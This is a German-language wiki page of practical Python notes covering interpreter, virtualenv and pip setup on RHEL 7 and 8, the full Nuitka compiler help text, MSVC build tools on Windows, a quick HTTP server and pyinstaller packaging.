Python

Siehe auch

Konventionen

  • var_name_lowercase

  • function_name_lowercase()

  • CONST_UPPERCASE

  • ClassMixedCase

Links

Installation von Python 2 vs Python 3

Zu einer sauberen Python-Umgebung gehören

  • der Python-Interpreter

  • die Möglichkeit, pro Projekt virtuelle Environments zu nutzen (Installation von Python-Paketen per yum/dnf ist nicht nötig)

  • der Paket-Manager pip, der die auf PyPi veröffentlichten Pakete installiert (auf die Alternative easy_manager wird nicht eingegangen)

Tipp

Warum ein VirtualEnv?

Das Ausführen von pip als ‚root‘-Benutzer kann zu fehlerhaften Berechtigungen und Konflikten mit dem Paket-Manager führen. Es wird empfohlen, stattdessen eine virtuelle Umgebung zu verwenden.

Wenn keine virtuelle Umgebung verwendet oder ein Modul ausserhalb einer virtuellen Umgebung benötigt wird, pip --user verwenden, um Module im Home-Verzeichnis zu installieren.

Python 2 auf RHEL 7

  • Python 2.7 ist vorinstalliert

  • venv: yum -y install python-virtualenv

  • pip: theoretisch im EPEL-Repo vorhanden; siehe aber besser Abschnitt „venv, pip und Python 2“

Python 3 auf RHEL 7 aus den Standard-Repos (funktioniert Stand 2023-03-31 nicht auf einem echten RHEL 7)

  • Python 3 ist nicht vorinstalliert

  • Python: yum -y install python3

  • venv: wird mit Python 3 mitinstalliert

  • pip: wird mit Python 3 mitinstalliert

Neueres Python 3 für RHEL 7 aus den SCL

sudo yum -y install centos-release-scl
sudo yum -y install rh-python38 rh-python38-python-devel
scl enable rh-python38 bash

Python 2 auf RHEL 8

  • Python 2 ist nicht vorinstalliert

  • Python: dnf -y install python2

  • venv: dnf -y install python2-virtualenv

  • pip: wird mit Python 2 mitinstalliert (pip2). Kein pip install --upgrade pip ausführen, siehe Abschnitt „venv, pip und Python 2“

Python 3 auf RHEL 8

  • Python 3 ist nicht vorinstalliert

  • Python: dnf -y install python3

  • venv: wird mit Python 3 mitinstalliert

  • pip: wird mit Python 3 mitinstalliert (pip3)

Tipp

Ein virtuelles Environment enthält

  • Shell-Skripte für Bash, Korn-Shell, Fish und PowerShell, um Umgebungsvariablen wie Pfadangaben richtig zu setzen

  • Eine venv setzt python und pip passend und genau beispielsweise auf python2 und pip2

  • Red Hat empfiehlt, auf System-Ebene ausserhalb einer Virtualenv unbedingt den „vollen“ Befehl zu verwenden, also entweder python2 oder python3, genau so wie pip2 oder pip3.

venv, pip und Python 2

pip gehört nicht zum Python-Projekt und unterstützt Python 2 nicht mehr. Ein pip install --upgrade pip wird pip daher zum Umgang mit Python Version 3 verdonnern. Um das letzte aktuelle pip für Python 2 zu erhalten, installiert man es in jeder Python 2-venv wie folgt:

# make your virtualenv folder with python2
virtualenv-2 --python=python2 my-venv
source my-venv/bin/activate
pip --version

# now install your python2 packages as usual
pip install mypackage

venv, pip und Python 3

Bemerkung

Hinweise und Advisories in https://github.com/pypa/pip/issues/5599 zum Umgang mit pip beachten!

# create my venv, and give the virtual environment access to the global site-packages
python3 -m venv --system-site-packages my-venv

# activate my venv
source my-venv/bin/activate

# upgrade pip in my venv
pip install --upgrade pip

# install any tool in my venv
pip install glances
pip install "borgbackup==1.1.11"

Tipp

Wer die letzte verfügbare pip-Version für Python2 einsetzen möchte, diese aber nicht über den Paketmanager erhält, kann diese in der venv wie folgt aktualisieren:

# get and install latest oldest pip for python2 (20.3.4)
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python get-pip.py
AssertionError: msgpack .dist-info directory not found

Cache ist defekt. Lösung: rm -rf ~/.cache/pip/. Zusätzlich kann man dem pip install --upgrade-Befehl den --no-cache-dir-Parameter anhängen.

Python-Interpreter und -Compiler

Interpreter:

  • CPython

  • PyPy

Compiler (erstellt Executables, also .so oder .exe):

  • Nuitka

    Usage: python -m nuitka [--module] [--run] [options] main_module.py
    
    Options:
      --help                show this help message and exit
      --version             Show version information and important details for bug
                            reports, then exit. Defaults to off.
      --module              Create an importable binary extension module
                            executable instead of a program. Defaults to off.
      --mode=COMPILATION_MODE
                            Mode in which to compile. Accelerated runs in your
                            Python installation and depends on it. Standalone
                            creates a folder with an executable contained to run
                            it. Onefile creates a single executable to deploy. App
                            is onefile except on macOS where it's not to be used.
                            Default is 'accelerated'.
      --standalone          Enable standalone mode for output. This allows you to
                            transfer the created binary to other machines without
                            it using an existing Python installation. This also
                            means it will become big. It implies these option: "--
                            follow-imports" and "--python-flag=no_site". Defaults
                            to off.
      --onefile             On top of standalone mode, enable onefile mode. This
                            means not a folder, but a compressed executable is
                            created and used. Defaults to off.
      --python-flag=FLAG    Python flags to use. Default is what you are using to
                            run Nuitka, this enforces a specific mode. These are
                            options that also exist to standard Python executable.
                            Currently supported: "-S" (alias "no_site"),
                            "static_hashes" (do not use hash randomization),
                            "no_warnings" (do not give Python run time warnings),
                            "-O" (alias "no_asserts"), "no_docstrings" (do not use
                            doc strings), "-u" (alias "unbuffered"), "isolated"
                            (do not load outside code) and "-m" (package mode,
                            compile as "package.__main__"). Default empty.
      --python-debug        Use debug version or not. Default uses what you are
                            using to run Nuitka, most likely a non-debug version.
                            Only for debugging and testing purposes.
      --python-for-scons=PATH
                            When compiling with Python 3.4 provide the path of a
                            Python binary to use for Scons. Otherwise Nuitka can
                            use what you run Nuitka with, or find Python
                            installation, e.g. from Windows registry. On Windows,
                            a Python 3.5 or higher is needed. On non-Windows, a
                            Python 2.6 or 2.7 will do as well.
      --main=PATH           If specified once, this takes the place of the
                            positional argument, i.e. the filename to compile.
                            When given multiple times, it enables "multidist" (see
                            User Manual) it allows you to create binaries that
                            depending on file name or invocation name.
    
      Control the inclusion of modules and packages in result:
        --include-package=PACKAGE
                            Include a whole package. Give as a Python namespace,
                            e.g. "some_package.sub_package" and Nuitka will then
                            find it and include it and all the modules found below
                            that disk location in the binary or extension module
                            it creates, and make it available for import by the
                            code. To avoid unwanted sub packages, e.g. tests you
                            can e.g. do this "--nofollow-import-to=*.tests".
                            Default empty.
        --include-module=MODULE
                            Include a single module. Give as a Python namespace,
                            e.g. "some_package.some_module" and Nuitka will then
                            find it and include it in the binary or extension
                            module it creates, and make it available for import by
                            the code. Default empty.
        --include-plugin-directory=MODULE/PACKAGE
                            Include also the code found in that directory,
                            considering as if they are each given as a main file.
                            Overrides all other inclusion options. You ought to
                            prefer other inclusion options, that go by names,
                            rather than filenames, those find things through being
                            in "sys.path". This option is for very special use
                            cases only. Can be given multiple times. Default
                            empty.
        --include-plugin-files=PATTERN
                            Include into files matching the PATTERN. Overrides all
                            other follow options. Can be given multiple times.
                            Default empty.
        --prefer-source-code
                            For already compiled extension modules, where there is
                            both a source file and an extension module, normally
                            the extension module is used, but it should be better
                            to compile the module from available source code for
                            best performance. If not desired, there is --no-
                            prefer-source-code to disable warnings about it.
                            Default off.
    
      Control the following into imported modules:
        --follow-imports    Descend into all imported modules. Defaults to on in
                            standalone mode, otherwise off.
        --follow-import-to=MODULE/PACKAGE
                            Follow to that module if used, or if a package, to the
                            whole package. Can be given multiple times. Default
                            empty.
        --nofollow-import-to=MODULE/PACKAGE
                            Do not follow to that module name even if used, or if
                            a package name, to the whole package in any case,
                            overrides all other options. This can also contain
                            patterns, e.g. "*.tests". Can be given multiple times.
                            Default empty.
        --nofollow-imports  Do not descend into any imported modules at all,
                            overrides all other inclusion options and not usable
                            for standalone mode. Defaults to off.
        --follow-stdlib     Also descend into imported modules from standard
                            library. This will increase the compilation time by a
                            lot and is also not well tested at this time and
                            sometimes won't work. Defaults to off.
    
      Onefile options:
        --onefile-tempdir-spec=ONEFILE_TEMPDIR_SPEC
                            Use this as a folder to unpack to in onefile mode.
                            Defaults to '{TEMP}/onefile_{PID}_{TIME}', i.e. user
                            temporary directory and being non-static it's removed.
                            Use e.g. a string like
                            '{CACHE_DIR}/{COMPANY}/{PRODUCT}/{VERSION}' which is a
                            good static cache path, this will then not be removed.
        --onefile-child-grace-time=GRACE_TIME_MS
                            When stopping the child, e.g. due to CTRL-C or
                            shutdown, etc. the Python code gets a
                            "KeyboardInterrupt", that it may handle e.g. to flush
                            data. This is the amount of time in ms, before the
                            child it killed in the hard way. Unit is ms, and
                            default 5000.
        --onefile-no-compression
                            When creating the onefile, disable compression of the
                            payload. This is mostly for debug purposes, or to save
                            time. Default is off.
        --onefile-as-archive
                            When creating the onefile, use an archive format, that
                            can be unpacked with "nuitka-onefile-unpack" rather
                            than a stream that only the onefile program itself
                            unpacks. Default is off.
    
      Data files:
        --include-package-data=PACKAGE
                            Include data files for the given package name. DLLs
                            and extension modules are not data files and never
                            included like this. Can use patterns the filenames as
                            indicated below. Data files of packages are not
                            included by default, but package configuration can do
                            it. This will only include non-DLL, non-extension
                            modules, i.e. actual data files. After a ":"
                            optionally a filename pattern can be given as well,
                            selecting only matching files. Examples: "--include-
                            package-data=package_name" (all files) "--include-
                            package-data=package_name:*.txt" (only certain type) "
                            --include-package-data=package_name:some_filename.dat
                            (concrete file) Default empty.
        --include-data-files=DESC
                            Include data files by filenames in the distribution.
                            There are many allowed forms. With '--include-data-
                            files=/path/to/file/*.txt=folder_name/some.txt' it
                            will copy a single file and complain if it's multiple.
                            With '--include-data-
                            files=/path/to/files/*.txt=folder_name/' it will put
                            all matching files into that folder. For recursive
                            copy there is a form with 3 values that '--include-
                            data-files=/path/to/scan=folder_name/=**/*.txt' that
                            will preserve directory structure. Default empty.
        --include-data-dir=DIRECTORY
                            Include data files from complete directory in the
                            distribution. This is recursive. Check '--include-
                            data-files' with patterns if you want non-recursive
                            inclusion. An example would be '--include-data-
                            dir=/path/some_dir=data/some_dir' for plain copy, of
                            the whole directory. All non-code files are copied, if
                            you want to use '--noinclude-data-files' option to
                            remove them. Default empty.
        --noinclude-data-files=PATTERN
                            Do not include data files matching the filename
                            pattern given. This is against the target filename,
                            not source paths. So to ignore a file pattern from
                            package data for 'package_name' should be matched as
                            'package_name/*.txt'. Or for the whole directory
                            simply use 'package_name'. Default empty.
        --include-onefile-external-data=PATTERN
                            Include the specified data file patterns outside of
                            the onefile binary, rather than on the inside. Makes
                            only sense in case of '--onefile' compilation. First
                            files have to be specified as included with other
                            `--include-*data*` options, and then this refers to
                            target paths inside the distribution. Default empty.
        --list-package-data=LIST_PACKAGE_DATA
                            Output the data files found for a given package name.
                            Default not done.
        --include-raw-dir=DIRECTORY
                            Include raw directories completely in the
                            distribution. This is recursive. Check '--include-
                            data-dir' to use the sane option. Default empty.
    
      Metadata support:
        --include-distribution-metadata=DISTRIBUTION
                            Include metadata information for the given
                            distribution name. Some packages check metadata for
                            presence, version, entry points, etc. and without this
                            option given, it only works when it's recognized at
                            compile time which is not always happening. This of
                            course only makes sense for packages that are included
                            in the compilation. Default empty.
    
      DLL files:
        --noinclude-dlls=PATTERN
                            Do not include DLL files matching the filename pattern
                            given. This is against the target filename, not source
                            paths. So ignore a DLL 'someDLL' contained in the
                            package 'package_name' it should be matched as
                            'package_name/someDLL.*'. Default empty.
        --list-package-dlls=LIST_PACKAGE_DLLS
                            Output the DLLs found for a given package name.
                            Default not done.
    
      Control the warnings to be given by Nuitka:
        --warn-implicit-exceptions
                            Enable warnings for implicit exceptions detected at
                            compile time.
        --warn-unusual-code
                            Enable warnings for unusual code detected at compile
                            time.
        --assume-yes-for-downloads
                            Allow Nuitka to download external code if necessary,
                            e.g. dependency walker, ccache, and even gcc on
                            Windows. To disable, redirect input from nul device,
                            e.g. "</dev/null" or "<NUL:". Default is to prompt.
        --nowarn-mnemonic=MNEMONIC
                            Disable warning for a given mnemonic. These are given
                            to make sure you are aware of certain topics, and
                            typically point to the Nuitka website. The mnemonic is
                            the part of the URL at the end, without the HTML
                            suffix. Can be given multiple times and accepts shell
                            pattern. Default empty.
    
      Immediate execution after compilation:
        --run               Execute immediately the created binary (or import the
                            compiled module). Defaults to off.
        --debugger          Execute inside a debugger, e.g. "gdb" or "lldb" to
                            automatically get a stack trace. Defaults to off.
    
      Compilation choices:
        --user-package-configuration-file=YAML_FILENAME
                            User provided Yaml file with package configuration.
                            You can include DLLs, remove bloat, add hidden
                            dependencies. Check the Nuitka Package Configuration
                            Manual for a complete description of the format to
                            use. Can be given multiple times. Defaults to empty.
        --full-compat       Enforce absolute compatibility with CPython. Do not
                            even allow minor deviations from CPython behavior,
                            e.g. not having better tracebacks or exception
                            messages which are not really incompatible, but only
                            different or worse. This is intended for tests only
                            and should *not* be used.
        --file-reference-choice=FILE_MODE
                            Select what value "__file__" is going to be. With
                            "runtime" (default for standalone binary mode and
                            module mode), the created binaries and modules, use
                            the location of themselves to deduct the value of
                            "__file__". Included packages pretend to be in
                            directories below that location. This allows you to
                            include data files in deployments. If you merely seek
                            acceleration, it's better for you to use the
                            "original" value, where the source files location will
                            be used. With "frozen" a notation "<frozen
                            module_name>" is used. For compatibility reasons, the
                            "__file__" value will always have ".py" suffix
                            independent of what it really is.
        --module-name-choice=MODULE_NAME_MODE
                            Select what value "__name__" and "__package__" are
                            going to be. With "runtime" (default for module mode),
                            the created module uses the parent package to deduce
                            the value of "__package__", to be fully compatible.
                            The value "original" (default for other modes) allows
                            for more static optimization to happen, but is
                            incompatible for modules that normally can be loaded
                            into any package.
    
      Output choices:
        --output-filename=FILENAME
                            Specify how the executable should be named. For
                            extension modules there is no choice, also not for
                            standalone mode and using it will be an error. This
                            may include path information that needs to exist
                            though. Defaults to '<program_name>.bin' on this
                            platform.
        --output-dir=DIRECTORY
                            Specify where intermediate and final output files
                            should be put. The DIRECTORY will be populated with
                            build folder, dist folder, binaries, etc. Defaults to
                            current directory.
        --remove-output     Removes the build directory after producing the module
                            or exe file. Defaults to off.
        --no-pyi-file       Do not create a '.pyi' file for extension modules
                            created by Nuitka. This is used to detect implicit
                            imports. Defaults to off.
        --no-pyi-stubs      Do not use stubgen when creating a '.pyi' file for
                            extension modules created by Nuitka. They expose your
                            API, but stubgen may cause issues. Defaults to off.
    
      Deployment control:
        --deployment        Disable code aimed at making finding compatibility
                            issues easier. This will e.g. prevent execution with
                            "-c" argument, which is often used by code that
                            attempts run a module, and causes a program to start
                            itself over and over potentially. Disable once you
                            deploy to end users, for finding typical issues, this
                            is very helpful during development. Default off.
        --no-deployment-flag=FLAG
                            Keep deployment mode, but disable selectively parts of
                            it. Errors from deployment mode will output these
                            identifiers. Default empty.
    
      Environment control:
        --force-runtime-environment-variable=VARIABLE_SPEC
                            Force an environment variables to a given value.
                            Default empty.
    
      Debug features:
        --debug             Executing all self checks possible to find errors in
                            Nuitka, do not use for production. Defaults to off.
        --no-debug-immortal-assumptions
                            Disable check normally done with "--debug". With
                            Python3.12+ do not check known immortal object
                            assumptions. Some C libraries corrupt them. Defaults
                            to check being made if "--debug" is on.
        --unstripped        Keep debug info in the resulting object file for
                            better debugger interaction. Defaults to off.
        --profile           Enable vmprof based profiling of time spent. Not
                            working currently. Defaults to off.
        --trace-execution   Traced execution output, output the line of code
                            before executing it. Defaults to off.
        --xml=XML_FILENAME  Write the internal program structure, result of
                            optimization in XML form to given filename.
        --experimental=FLAG
                            Use features declared as 'experimental'. May have no
                            effect if no experimental features are present in the
                            code. Uses secret tags (check source) per experimented
                            feature.
        --low-memory        Attempt to use less memory, by forking less C
                            compilation jobs and using options that use less
                            memory. For use on embedded machines. Use this in case
                            of out of memory problems. Defaults to off.
        --create-environment-from-report=CREATE_ENVIRONMENT_FROM_REPORT
                            Create a new virtualenv in that non-existing path from
                            the report file given with e.g. '--report=compilation-
                            report.xml'. Default not done.
        --generate-c-only   Generate only C source code, and do not compile it to
                            binary or module. This is for debugging and code
                            coverage analysis that doesn't waste CPU. Defaults to
                            off. Do not think you can use this directly.
    
      Nuitka Development features:
        --devel-missing-code-helpers
                            Report warnings for code helpers for types that were
                            attempted, but don't exist. This helps to identify
                            opportunities for improving optimization of generated
                            code from type knowledge not used. Default False.
        --devel-missing-trust
                            Report warnings for imports that could be trusted, but
                            currently are not. This is to identify opportunities
                            for improving handling of hard modules, where this
                            sometimes could allow more static optimization.
                            Default False.
        --devel-recompile-c-only
                            This is not incremental compilation, but for Nuitka
                            development only. Takes existing files and simply
                            compiles them as C again after doing the Python steps.
                            Allows compiling edited C files for manual debugging
                            changes to the generated source. Allows us to add
                            printing, check and print values, but it is now what
                            users would want. Depends on compiling Python source
                            to determine which files it should look at.
        --devel-internal-graph
                            Create graph of optimization process internals, do not
                            use for whole programs, but only for small test cases.
                            Defaults to off.
    
      Backend C compiler choice:
        --clang             Enforce the use of clang. On Windows this requires a
                            working Visual Studio version to piggy back on.
                            Defaults to off.
        --mingw64           Enforce the use of MinGW64 on Windows. Defaults to off
                            unless MSYS2 with MinGW Python is used.
        --msvc=MSVC_VERSION
                            Enforce the use of specific MSVC version on Windows.
                            Allowed values are e.g. "14.3" (MSVC 2022) and other
                            MSVC version numbers, specify "list" for a list of
                            installed compilers, or use "latest".  Defaults to
                            latest MSVC being used if installed, otherwise MinGW64
                            is used.
        --jobs=N            Specify the allowed number of parallel C compiler
                            jobs. Negative values are system CPU minus the given
                            value. Defaults to the full system CPU count unless
                            low memory mode is activated, then it defaults to 1.
        --lto=choice        Use link time optimizations (MSVC, gcc, clang).
                            Allowed values are "yes", "no", and "auto" (when it's
                            known to work). Defaults to "auto".
        --static-libpython=choice
                            Use static link library of Python. Allowed values are
                            "yes", "no", and "auto" (when it's known to work).
                            Defaults to "auto".
        --cf-protection=PROTECTION_MODE
                            This option is gcc specific. For the gcc compiler,
                            select the "cf-protection" mode. Default "auto" is to
                            use the gcc default value, but you can override it,
                            e.g. to disable it with "none" value. Refer to gcc
                            documentation for "-fcf-protection" for the details.
    
      Cache Control:
        --disable-cache=DISABLED_CACHES
                            Disable selected caches, specify "all" for all cached.
                            Currently allowed values are:
                            "all","ccache","bytecode","compression". can be given
                            multiple times or with comma separated values. Default
                            none.
        --clean-cache=CLEAN_CACHES
                            Clean the given caches before executing, specify "all"
                            for all cached. Currently allowed values are:
                            "all","ccache","bytecode","compression". can be given
                            multiple times or with comma separated values. Default
                            none.
    
      PGO compilation choices:
        --pgo-c             Enables C level profile guided optimization (PGO), by
                            executing a dedicated build first for a profiling run,
                            and then using the result to feedback into the C
                            compilation. Note: This is experimental and not
                            working with standalone modes of Nuitka yet. Defaults
                            to off.
        --pgo-args=PGO_ARGS
                            Arguments to be passed in case of profile guided
                            optimization. These are passed to the special built
                            executable during the PGO profiling run. Default
                            empty.
        --pgo-executable=PGO_EXECUTABLE
                            Command to execute when collecting profile
                            information. Use this only, if you need to launch it
                            through a script that prepares it to run. Default use
                            created program.
    
      Tracing features:
        --report=REPORT_FILENAME
                            Report module, data files, compilation, plugin, etc.
                            details in an XML output file. This is also super
                            useful for issue reporting. These reports can e.g. be
                            used to re-create the environment easily using it with
                            '--create-environment-from-report', but contain a lot
                            of information. Default is off.
        --report-diffable   Report data in diffable form, i.e. no timing or memory
                            usage values that vary from run to run. Default is
                            off.
        --report-user-provided=KEY_VALUE
                            Report data from you. This can be given multiple times
                            and be anything in 'key=value' form, where key should
                            be an identifier, e.g. use '--report-user-
                            provided=pipenv-lock-hash=64a5e4' to track some input
                            values. Default is empty.
        --report-template=REPORT_DESC
                            Report via template. Provide template and output
                            filename 'template.rst.j2:output.rst'. For built-in
                            templates, check the User Manual for what these are.
                            Can be given multiple times. Default is empty.
        --quiet             Disable all information outputs, but show warnings.
                            Defaults to off.
        --show-scons        Run the C building backend Scons with verbose
                            information, showing the executed commands, detected
                            compilers. Defaults to off.
        --no-progressbar    Disable progress bars. Defaults to off.
        --show-progress     Obsolete: Provide progress information and statistics.
                            Disables normal progress bar. Defaults to off.
        --show-memory       Provide memory information and statistics. Defaults to
                            off.
        --show-modules      Provide information for included modules and DLLs
                            Obsolete: You should use '--report' file instead.
                            Defaults to off.
        --show-modules-output=PATH
                            Where to output '--show-modules', should be a
                            filename. Default is standard output.
        --verbose           Output details of actions taken, esp. in
                            optimizations. Can become a lot. Defaults to off.
        --verbose-output=PATH
                            Where to output from '--verbose', should be a
                            filename. Default is standard output.
    
      General OS controls:
        --force-stdout-spec=FORCE_STDOUT_SPEC
                            Force standard output of the program to go to this
                            location. Useful for programs with disabled console
                            and programs using the Windows Services Plugin of
                            Nuitka commercial. Defaults to not active, use e.g.
                            '{PROGRAM_BASE}.out.txt', i.e. file near your program,
                            check User Manual for full list of available values.
        --force-stderr-spec=FORCE_STDERR_SPEC
                            Force standard error of the program to go to this
                            location. Useful for programs with disabled console
                            and programs using the Windows Services Plugin of
                            Nuitka commercial. Defaults to not active, use e.g.
                            '{PROGRAM_BASE}.err.txt', i.e. file near your program,
                            check User Manual for full list of available values.
    
      Windows specific controls:
        --windows-console-mode=CONSOLE_MODE
                            Select console mode to use. Default mode is 'force'
                            and creates a console window unless the program was
                            started from one. With 'disable' it doesn't create or
                            use a console at all. With 'attach' an existing
                            console will be used for outputs. With 'hide' a newly
                            spawned console will be hidden and an already existing
                            console will behave like 'force'. Default is 'force'.
        --windows-icon-from-ico=ICON_PATH
                            Add executable icon. Can be given multiple times for
                            different resolutions or files with multiple icons
                            inside. In the later case, you may also suffix with
                            #<n> where n is an integer index starting from 1,
                            specifying a specific icon to be included, and all
                            others to be ignored.
        --windows-icon-from-exe=ICON_EXE_PATH
                            Copy executable icons from this existing executable
                            (Windows only).
        --onefile-windows-splash-screen-image=SPLASH_SCREEN_IMAGE
                            When compiling for Windows and onefile, show this
                            while loading the application. Defaults to off.
        --windows-uac-admin
                            Request Windows User Control, to grant admin rights on
                            execution. (Windows only). Defaults to off.
        --windows-uac-uiaccess
                            Request Windows User Control, to enforce running from
                            a few folders only, remote desktop access. (Windows
                            only). Defaults to off.
    
      macOS specific controls:
        --macos-create-app-bundle
                            When compiling for macOS, create a bundle rather than
                            a plain binary application. This is the only way to
                            unlock the disabling of console, get high DPI
                            graphics, etc. and implies standalone mode. Defaults
                            to off.
        --macos-target-arch=MACOS_TARGET_ARCH
                            What architectures is this to supposed to run on.
                            Default and limit is what the running Python allows
                            for. Default is "native" which is the architecture the
                            Python is run with.
        --macos-app-icon=ICON_PATH
                            Add icon for the application bundle to use. Can be
                            given only one time. Defaults to Python icon if
                            available.
        --macos-signed-app-name=MACOS_SIGNED_APP_NAME
                            Name of the application to use for macOS signing.
                            Follow "com.YourCompany.AppName" naming results for
                            best results, as these have to be globally unique, and
                            will potentially grant protected API accesses.
        --macos-app-name=MACOS_APP_NAME
                            Name of the product to use in macOS bundle
                            information. Defaults to base filename of the binary.
        --macos-app-mode=APP_MODE
                            Mode of application for the application bundle. When
                            launching a Window, and appearing in Docker is
                            desired, default value "gui" is a good fit. Without a
                            Window ever, the application is a "background"
                            application. For UI elements that get to display
                            later, "ui-element" is in-between. The application
                            will not appear in dock, but get full access to
                            desktop when it does open a Window later.
        --macos-sign-identity=MACOS_APP_VERSION
                            When signing on macOS, by default an ad-hoc identify
                            will be used, but with this option your get to specify
                            another identity to use. The signing of code is now
                            mandatory on macOS and cannot be disabled. Use "auto"
                            to detect your only identity installed. Default "ad-
                            hoc" if not given.
        --macos-sign-notarization
                            When signing for notarization, using a proper TeamID
                            identity from Apple, use the required runtime signing
                            option, such that it can be accepted.
        --macos-app-version=MACOS_APP_VERSION
                            Product version to use in macOS bundle information.
                            Defaults to "1.0" if not given.
        --macos-app-protected-resource=RESOURCE_DESC
                            Request an entitlement for access to a macOS protected
                            resources, e.g.
                            "NSMicrophoneUsageDescription:Microphone access for
                            recording audio." requests access to the microphone
                            and provides an informative text for the user, why
                            that is needed. Before the colon, is an OS identifier
                            for an access right, then the informative text. Legal
                            values can be found on https://developer.apple.com/doc
                            umentation/bundleresources/information_property_list/p
                            rotected_resources and the option can be specified
                            multiple times. Default empty.
    
      Linux specific controls:
        --linux-icon=ICON_PATH
                            Add executable icon for onefile binary to use. Can be
                            given only one time. Defaults to Python icon if
                            available.
    
      Binary Version Information:
        --company-name=COMPANY_NAME
                            Name of the company to use in version information.
                            Defaults to unused.
        --product-name=PRODUCT_NAME
                            Name of the product to use in version information.
                            Defaults to base filename of the binary.
        --file-version=FILE_VERSION
                            File version to use in version information. Must be a
                            sequence of up to 4 numbers, e.g. 1.0 or 1.0.0.0, no
                            more digits are allowed, no strings are allowed.
                            Defaults to unused.
        --product-version=PRODUCT_VERSION
                            Product version to use in version information. Same
                            rules as for file version. Defaults to unused.
        --file-description=FILE_DESCRIPTION
                            Description of the file used in version information.
                            Windows only at this time. Defaults to binary
                            filename.
        --copyright=COPYRIGHT_TEXT
                            Copyright used in version information. Windows/macOS
                            only at this time. Defaults to not present.
        --trademarks=TRADEMARK_TEXT
                            Trademark used in version information. Windows/macOS
                            only at this time. Defaults to not present.
    
      Plugin control:
        --enable-plugins=PLUGIN_NAME
                            Enabled plugins. Must be plug-in names. Use '--plugin-
                            list' to query the full list and exit. Default empty.
        --disable-plugins=PLUGIN_NAME
                            Disabled plugins. Must be plug-in names. Use '--
                            plugin-list' to query the full list and exit. Most
                            standard plugins are not a good idea to disable.
                            Default empty.
        --user-plugin=PATH  The file name of user plugin. Can be given multiple
                            times. Default empty.
        --plugin-list       Show list of all available plugins and exit. Defaults
                            to off.
        --plugin-no-detection
                            Plugins can detect if they might be used, and the you
                            can disable the warning via "--disable-plugin=plugin-
                            that-warned", or you can use this option to disable
                            the mechanism entirely, which also speeds up
                            compilation slightly of course as this detection code
                            is run in vain once you are certain of which plugins
                            to use. Defaults to off.
        --module-parameter=MODULE_PARAMETERS
                            Provide a module parameter. You are asked by some
                            packages to provide extra decisions. Format is
                            currently --module-parameter=module.name-option-
                            name=value Default empty.
        --show-source-changes=SHOW_SOURCE_CHANGES
                            Show source changes to original Python file content
                            before compilation. Mostly intended for developing
                            plugins and Nuitka package configuration. Use e.g. '--
                            show-source-changes=numpy.**' to see all changes below
                            a given namespace or use '*' to see everything which
                            can get a lot. Default empty.
    
      Cross compilation:
        --target=TARGET_DESC
                            Cross compilation target. Highly experimental and in
                            development, not supposed to work yet. We are working
                            on '--target=wasi' and nothing else yet.
    
      Plugin options of 'anti-bloat':
        --show-anti-bloat-changes
                            Annotate what changes are done by the plugin.
        --noinclude-setuptools-mode=NOINCLUDE_SETUPTOOLS_MODE
                            What to do if a 'setuptools' or import is encountered.
                            This package can be big with dependencies, and should
                            definitely be avoided. Also handles 'setuptools_scm'.
        --noinclude-pytest-mode=NOINCLUDE_PYTEST_MODE
                            What to do if a 'pytest' import is encountered. This
                            package can be big with dependencies, and should
                            definitely be avoided. Also handles 'nose' imports.
        --noinclude-unittest-mode=NOINCLUDE_UNITTEST_MODE
                            What to do if a unittest import is encountered. This
                            package can be big with dependencies, and should
                            definitely be avoided.
        --noinclude-pydoc-mode=NOINCLUDE_PYDOC_MODE
                            What to do if a pydoc import is encountered. This
                            package use is mark of useless code for deployments
                            and should be avoided.
        --noinclude-IPython-mode=NOINCLUDE_IPYTHON_MODE
                            What to do if a IPython import is encountered. This
                            package can be big with dependencies, and should
                            definitely be avoided.
        --noinclude-dask-mode=NOINCLUDE_DASK_MODE
                            What to do if a 'dask' import is encountered. This
                            package can be big with dependencies, and should
                            definitely be avoided.
        --noinclude-numba-mode=NOINCLUDE_NUMBA_MODE
                            What to do if a 'numba' import is encountered. This
                            package can be big with dependencies, and is currently
                            not working for standalone. This package is big with
                            dependencies, and should definitely be avoided.
        --noinclude-default-mode=NOINCLUDE_DEFAULT_MODE
                            This actually provides the default "warning" value for
                            above options, and can be used to turn all of these
                            on.
        --noinclude-custom-mode=CUSTOM_CHOICES
                            What to do if a specific import is encountered. Format
                            is module name, which can and should be a top level
                            package and then one choice, "error", "warning",
                            "nofollow", e.g. PyQt5:error.
    
      Plugin options of 'playwright':
        --playwright-include-browser=INCLUDE_BROWSERS
                            Playwright browser to include by name. Can be
                            specified multiple times. Use "all" to include all
                            installed browsers or use "none" to exclude all
                            browsers.
    
      Plugin options of 'spacy':
        --spacy-language-model=INCLUDE_LANGUAGE_MODELS
                            Spacy language models to use. Can be specified
                            multiple times. Use 'all' to include all downloaded
                            models.
    
  • pyinstaller

Tipp

Wer auf Windows compiliert und den Fehler Cannot open include file: 'io.h': No such file or directory erhält, muss

  • einen C-Compiler installieren (pip benötigt einfach einen)

  • ein Windows SDK installieren

MSVC für Python-Compile auf Windows installieren geht so:

  • https://visualstudio.microsoft.com/downloads/ öffnen.

  • Tools for Visual Studio > Build Tools for Visual Studio 20xx > Download

  • Die heruntergeladene Datei starten.

  • Tab „Workloads“:

    • „Visual Studio extension development“ aktivieren, rechts „MSVC v143 - VS 2022 …“ hinzufügen

    • „Desktop development with C++““ aktivieren, ältestes „Windows 10 SDK“ hinzufügen

An den zig GB Download führt kein Weg vorbei, wenn man auf MSVC statt beispielsweise gcc setzen möchte.

Frameworks

  • Django

  • Flask

  • Flask mit Flask-RESTPlus für REST-APIs

  • Quart (kompatibel zu Flask, basiert aber auf Asyncio)

Webserver mit Python

Hilft zum Beispiel, um mal schnell die /root/anaconda-ks.cfg per HTTP anzubieten. index.html-Dateien werden automatisch als DirectoryIndex verwendet.

python2 -m SimpleHTTPServer 8080 python3 -m http.server -b 0.0.0.0 8080

pyinstaller

Python-Scripte in Executables packen, ohne auf dem Zielsystem eine Python-Runtime vorhalten zu müssen. Damit die eingepackten Bibliotheken möglichst überall funktionieren, sollte der Build auf einem nicht zu neuen OS passieren, z.B. RHEL 7. Damit laufen die Executables auch auf Ubuntu 20+ oder Fedora 35+. Wird dagegen auf Fedora 35+ oder Ubuntu 20+ gebaut, starten die Executables auf RHEL 8 nicht, da auf RHEL tiefliegende Systembibliotheken für GCC in dem Fall um eine Version zu alt sind (ergibt beispielsweise Fehler wie: dlopen: /lib64/libm.so.6: version `GLIBC_2.29' not found).

dnf -y install glibc binutils
dnf -y install python39 python39-devel

python3 -m venv --system-site-packages pyinstaller
source pyinstaller/bin/activate

pip install --upgrade pip
pip install pyinstaller

